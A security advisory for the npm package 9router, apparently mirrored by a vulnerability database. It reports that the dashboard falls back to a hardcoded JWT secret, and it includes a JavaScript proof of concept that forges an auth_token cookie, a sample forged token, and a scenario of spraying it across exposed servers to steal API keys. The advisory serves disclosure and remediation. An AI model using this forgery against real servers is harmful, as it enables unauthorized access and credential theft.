GHSA-JPHH-M39H-6GWX

Vulnerability from github – Published: 2026-07-02 20:56 – Updated: 2026-07-02 20:56
VLAI
Summary
9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass
Details

Summary

9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server

Details

Versions File Note
>= 0.2.21, <= 0.4.30 src/app/api/auth/login/route.js + src/middleware.js Introduced in commit 23cfb19
>= 0.4.31, <= 0.4.41 src/lib/auth/dashboardSession.js Relocated by OIDC refactor c3d91b0, secret unchanged

Vulnerable Code

v0.2.21 – v0.4.30src/app/api/auth/login/route.js and src/middleware.js:

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

v0.4.31 – v0.4.41 (current)src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.

PoC

Step 1. Craft a JWT signed with the known default secret:

import { SignJWT } from "jose";

const SECRET = new TextEncoder().encode("9router-default-secret-change-me");

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setIssuedAt()
  .setExpirationTime("36y")
  .sign(SECRET);

console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w

Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass

Attack Scenario:

  • Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
  • Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database

Impact

  • A successful attack grants attacker full API Key, Auth Token that 9router hold
  • They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
  • Pivot via the MCP stdio→SSE bridge exposed at /api/mcp/ (exploit CVE-2026-46339)

Recommended Fix

Require JWT_SECRET at startup and fail fast rather than falling back silently:

const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
  throw new Error(
    "JWT_SECRET environment variable is not set. " +
    "Generate one with: openssl rand -hex 32"
  );
}
const SECRET = new TextEncoder().encode(jwtSecret);

Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.41"
      },
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.21"
            },
            {
              "fixed": "0.4.45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T20:56:55Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n9router uses a publicly known hardcoded string `\"9router-default-secret-change-me\"` as the fallback of JWT secret for all Dashboard session JWTs when the `JWT_SECRET` environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid `auth_token` cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server\n### Details\n| Versions | File | Note |\n|---|---|---|\n| `\u003e= 0.2.21, \u003c= 0.4.30` | `src/app/api/auth/login/route.js` + `src/middleware.js` | Introduced in commit `23cfb19` |\n| `\u003e= 0.4.31, \u003c= 0.4.41` | `src/lib/auth/dashboardSession.js` | Relocated by OIDC refactor `c3d91b0`, secret unchanged |\n\nVulnerable Code\n\n**v0.2.21 \u2013 v0.4.30** \u2014 `src/app/api/auth/login/route.js` and `src/middleware.js`:\n\n```js\nconst SECRET = new TextEncoder().encode(\n  process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\n\n**v0.4.31 \u2013 v0.4.41 (current)** \u2014 `src/lib/auth/dashboardSession.js` (centralized via OIDC refactor, commit `c3d91b0`):\n\n```js\nconst SECRET = new TextEncoder().encode(\n  process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\nThe fallback string was introduced in commit `23cfb19` (2026-01-09) and has never been removed. The OIDC refactor in `c3d91b0` only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.\n### PoC\n**Step 1.** Craft a JWT signed with the known default secret:\n```js\nimport { SignJWT } from \"jose\";\n\nconst SECRET = new TextEncoder().encode(\"9router-default-secret-change-me\");\n\nconst token = await new SignJWT({ authenticated: true })\n  .setProtectedHeader({ alg: \"HS256\" })\n  .setIssuedAt()\n  .setExpirationTime(\"36y\")\n  .sign(SECRET);\n\nconsole.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w\n```\n**Step 2.** Set the forged token as the `auth_token` cookie. And access the `http://\u003ctarget\u003e/dashboard` - completely authentication bypass \n\n### Attack Scenario:\n- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn\u0027t set JWT_SECRET\n- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database \n\n\n### Impact\n- A successful attack grants attacker **full API Key, Auth Token** that 9router hold\n- They can **read** 9router apikey, **change** 9router password ,shutdown 9router, **Modify** everything\n- **Pivot** via the MCP stdio\u2192SSE bridge exposed at `/api/mcp/`  (exploit CVE-2026-46339)\n\n## Recommended Fix\n\n**Require** `JWT_SECRET` at startup and fail fast rather than falling back silently:\n\n```js\nconst jwtSecret = process.env.JWT_SECRET;\nif (!jwtSecret) {\n  throw new Error(\n    \"JWT_SECRET environment variable is not set. \" +\n    \"Generate one with: openssl rand -hex 32\"\n  );\n}\nconst SECRET = new TextEncoder().encode(jwtSecret);\n```\n\nAlternatively, auto-generate a random secret on first boot and persist it to the data directory \u2014 but **never** fall back to a publicly known constant.",
  "id": "GHSA-jphh-m39h-6gwx",
  "modified": "2026-07-02T20:56:55Z",
  "published": "2026-07-02T20:56:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-jphh-m39h-6gwx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router\u0027s Hardcoded Default fallback JWT Secret  Allows Authentication Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…